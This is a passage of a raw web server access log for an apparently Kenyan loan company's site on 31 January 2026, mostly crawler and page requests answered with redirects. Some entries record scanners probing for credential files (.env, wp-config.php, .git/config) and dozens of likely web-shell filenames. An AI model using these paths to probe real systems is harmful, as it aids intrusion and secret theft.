(Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.2 Safari/537.36" 103.189.249.81 - - [31/Jan/2026:08:46:57 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 106.119.167.146 - - [31/Jan/2026:09:32:30 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 34.235.239.240 - - [31/Jan/2026:09:08:48 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/119.0.6045.214 Safari/537.36" 3.235.215.92 - - [31/Jan/2026:09:08:50 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/119.0.6045.214 Safari/537.36" 176.65.148.161 - - [31/Jan/2026:10:06:44 +0300] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (compatible; Let's Encrypt validation server; +https://www.letsencrypt.org)" 176.65.148.161 - - [31/Jan/2026:10:06:45 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Let's Encrypt validation server; +https://www.letsencrypt.org)" 176.65.148.161 - - [31/Jan/2026:10:06:46 +0300] "HEAD /_next HTTP/1.1" 301 0 "-" "Mozilla/5.0 (compatible; Let's Encrypt validation server; +https://www.letsencrypt.org)" 80.94.92.117 - - [31/Jan/2026:11:34:59 +0300] "GET /owa/auth/logon.aspx?replaceCurrent=1&url=http%3A//owa.eliteewallet.com/owa/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 34.133.204.24 - - [31/Jan/2026:11:43:16 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 170.106.107.87 - - [31/Jan/2026:12:25:57 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 70.39.236.83 - - [31/Jan/2026:12:51:26 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 170.106.161.78 - - [31/Jan/2026:11:13:32 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.223.150.246 - - [31/Jan/2026:10:16:53 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.223.150.246 - - [31/Jan/2026:10:16:56 +0300] "GET /rip.php HTTP/1.1" 301 795 "-" "-" 98.89.254.180 - - [31/Jan/2026:13:34:10 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (TestUserAgent)" 212.34.138.212 - - [31/Jan/2026:14:14:16 +0300] "GET /privet-mir/ HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 212.34.138.212 - - [31/Jan/2026:14:14:15 +0300] "GET /hello-world/ HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 176.65.132.238 - - [31/Jan/2026:15:19:46 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 4.2.2; GT-P5113 Build/JDQ39) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36" 176.65.132.238 - - [31/Jan/2026:15:19:46 +0300] "GET /server.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 4.2.2; GT-P5113 Build/JDQ39) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36" 176.65.132.238 - - [31/Jan/2026:15:19:47 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 4.2.2; GT-P5113 Build/JDQ39) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36" 176.65.132.238 - - [31/Jan/2026:15:19:47 +0300] "GET /wp-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 4.2.2; GT-P5113 Build/JDQ39) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36" 176.65.132.238 - - [31/Jan/2026:15:19:47 +0300] "GET /config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 4.2.2; GT-P5113 Build/JDQ39) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36" 176.65.132.238 - - [31/Jan/2026:15:19:46 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Linux; Android 4.2.2; GT-P5113 Build/JDQ39) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36" 176.65.132.238 - - [31/Jan/2026:15:19:46 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Linux; Android 4.2.2; GT-P5113 Build/JDQ39) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36" 176.65.132.238 - - [31/Jan/2026:15:19:47 +0300] "GET /appsettings.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 4.2.2; GT-P5113 Build/JDQ39) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36" 176.65.132.238 - - [31/Jan/2026:15:19:46 +0300] "GET /phpinfo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 4.2.2; GT-P5113 Build/JDQ39) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36" 176.65.132.238 - - [31/Jan/2026:15:19:46 +0300] "GET /app.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 4.2.2; GT-P5113 Build/JDQ39) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36" 91.202.4.80 - - [31/Jan/2026:16:17:43 +0300] "GET /term.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 92.255.85.73 - - [31/Jan/2026:16:11:24 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 CCleaner/130.0.0.0" 188.143.244.141 - - [31/Jan/2026:16:37:25 +0300] "GET /services/logbook-loans/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:37:30 +0300] "GET /hello-world/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:37:45 +0300] "GET /car-financing-loan/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:38:05 +0300] "GET /services/education-loans/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:38:08 +0300] "GET /about/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:38:44 +0300] "GET /weekend-loans/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:37:36 +0300] "GET /services/title-deed-loans/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:37:55 +0300] "GET /category/uncategorized/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:38:24 +0300] "GET /salary-advance-loans/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:38:47 +0300] "GET /check-off-loans/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:38:52 +0300] "GET /services/education-loans/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:39:14 +0300] "GET /faqs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:37:20 +0300] "GET /category/uncategorized/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:38:00 +0300] "GET /contact/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:38:02 +0300] "GET /services/education-loans/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:38:19 +0300] "GET /author/makena/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:39:04 +0300] "GET /our-team/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:39:09 +0300] "GET /elite-wallet-limited/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:37:27 +0300] "GET /author/makena/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:37:41 +0300] "GET /hello-world/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:37:53 +0300] "GET /contact/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:37:58 +0300] "GET /services/title-deed-loans/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:38:10 +0300] "GET /author/makena/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:38:16 +0300] "GET /contact/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:38:36 +0300] "GET /salary-advance-loans/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:38:49 +0300] "GET /hello-world/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:37:12 +0300] "GET /about/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:37:50 +0300] "GET /buy-off-loans/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:38:21 +0300] "GET /check-off-loans/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:38:28 +0300] "GET /hello-world/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:38:31 +0300] "GET /car-financing-loan/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:39:23 +0300] "GET /our-team/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:39:27 +0300] "GET /faqs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:37:00 +0300] "GET /services/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:37:05 +0300] "GET /salary-advance-loans/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:37:15 +0300] "GET /car-financing-loan/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:37:33 +0300] "GET /hello-world/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:38:41 +0300] "GET /weekend-loans/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:39:18 +0300] "GET /our-team/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:39:20 +0300] "GET /elite-wallet-limited/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:39:25 +0300] "GET /faqs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:37:02 +0300] "GET /buy-off-loans/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:37:07 +0300] "GET /services/title-deed-loans/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:37:10 +0300] "GET /category/uncategorized/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:37:17 +0300] "GET /about/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:37:22 +0300] "GET /hello-world/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:37:38 +0300] "GET /services/logbook-loans/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:38:13 +0300] "GET /services/logbook-loans/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:38:33 +0300] "GET /services/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:37:43 +0300] "GET /services/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:37:48 +0300] "GET /buy-off-loans/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:38:26 +0300] "GET /check-off-loans/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:38:38 +0300] "GET /weekend-loans/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.141 - - [31/Jan/2026:16:38:54 +0300] "GET /hello-world/?replytocom=1 HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 20.100.196.146 - - [31/Jan/2026:18:20:20 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.100.196.146 - - [31/Jan/2026:18:20:27 +0300] "GET /ws55.php HTTP/1.1" 301 795 "-" "-" 20.100.196.146 - - [31/Jan/2026:18:20:29 +0300] "GET /ws53.php HTTP/1.1" 301 795 "-" "-" 20.100.196.146 - - [31/Jan/2026:18:20:30 +0300] "GET /bk.php HTTP/1.1" 301 795 "-" "-" 20.100.196.146 - - [31/Jan/2026:18:20:33 +0300] "GET /gettest.php HTTP/1.1" 301 795 "-" "-" 20.100.196.146 - - [31/Jan/2026:18:20:36 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 20.100.196.146 - - [31/Jan/2026:18:20:39 +0300] "GET /soniau.php HTTP/1.1" 301 795 "-" "-" 20.100.196.146 - - [31/Jan/2026:18:20:42 +0300] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 20.100.196.146 - - [31/Jan/2026:18:20:44 +0300] "GET /class-cc.php HTTP/1.1" 301 795 "-" "-" 20.100.196.146 - - [31/Jan/2026:18:20:47 +0300] "GET /clasa99.php HTTP/1.1" 301 795 "-" "-" 20.100.196.146 - - [31/Jan/2026:18:20:50 +0300] "GET /clasa992.php HTTP/1.1" 301 795 "-" "-" 20.100.196.146 - - [31/Jan/2026:18:20:52 +0300] "GET /wp-webdb.php HTTP/1.1" 301 795 "-" "-" 20.100.196.146 - - [31/Jan/2026:18:20:56 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 20.100.196.146 - - [31/Jan/2026:18:20:59 +0300] "GET /blurbs15.php HTTP/1.1" 301 795 "-" "-" 20.100.196.146 - - [31/Jan/2026:18:21:02 +0300] "GET /tracke.php HTTP/1.1" 301 795 "-" "-" 93.158.90.162 - - [31/Jan/2026:17:15:23 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 14; SM-S901B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.280 Mobile Safari/537.36 OPR/80.4.4244.7786" 43.132.214.228 - - [31/Jan/2026:17:59:53 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.100.196.146 - - [31/Jan/2026:18:21:21 +0300] "GET /f.php HTTP/1.1" 301 795 "-" "-" 20.100.196.146 - - [31/Jan/2026:18:21:25 +0300] "GET /ftde.php HTTP/1.1" 301 795 "-" "-" 20.100.196.146 - - [31/Jan/2026:18:21:43 +0300] "GET /zlxoczuu.php HTTP/1.1" 301 795 "-" "-" 20.100.196.146 - - [31/Jan/2026:18:21:10 +0300] "GET /un.php HTTP/1.1" 301 795 "-" "-" 20.100.196.146 - - [31/Jan/2026:18:21:33 +0300] "GET /revealability.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:52:25 +0300] "GET /ut.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:53:24 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:56:05 +0300] "GET /click.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:56:30 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:58:28 +0300] "GET /wp-aaa.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:58:31 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:00:12 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:00:18 +0300] "GET /yellow.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:00:51 +0300] "GET /thh.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:02:22 +0300] "GET /wsd.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:04:23 +0300] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:51:38 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:51:39 +0300] "GET /afile.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:51:54 +0300] "GET /size.php?p= HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:52:07 +0300] "GET /jlex3.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:52:10 +0300] "GET /w.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:52:14 +0300] "GET /135.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:52:54 +0300] "GET /CLA.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:52:58 +0300] "GET /haikh.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:53:00 +0300] "GET /x56.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:53:40 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:54:18 +0300] "GET /class19.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:54:56 +0300] "GET /gfile.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:55:12 +0300] "GET /image.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:57:05 +0300] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:57:44 +0300] "GET /indo.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:58:10 +0300] "GET /gtc.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:58:50 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:58:54 +0300] "GET /xv.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:59:26 +0300] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:59:30 +0300] "GET /classgoto24.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:59:38 +0300] "GET /inde.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:59:42 +0300] "GET /geck.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:03:14 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:51:49 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:52:35 +0300] "GET /usep.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:55:25 +0300] "GET /des.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:55:29 +0300] "GET /tx1.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:55:31 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:55:56 +0300] "GET /efile.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:56:25 +0300] "GET /ssss.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:58:17 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:58:20 +0300] "GET /030.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:58:23 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:01:17 +0300] "GET /file7.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:01:20 +0300] "GET /mail.php? HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:01:21 +0300] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:01:24 +0300] "GET /flex.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:01:34 +0300] "GET /klex.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:01:39 +0300] "GET /wp-admin/network/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:03:32 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:03:57 +0300] "GET /wlex.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:04:00 +0300] "GET /class20.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:56:42 +0300] "GET /a.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:57:11 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:57:49 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:57:50 +0300] "GET /file.php? HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:59:49 +0300] "GET /wa.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:59:52 +0300] "GET /gmo.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - 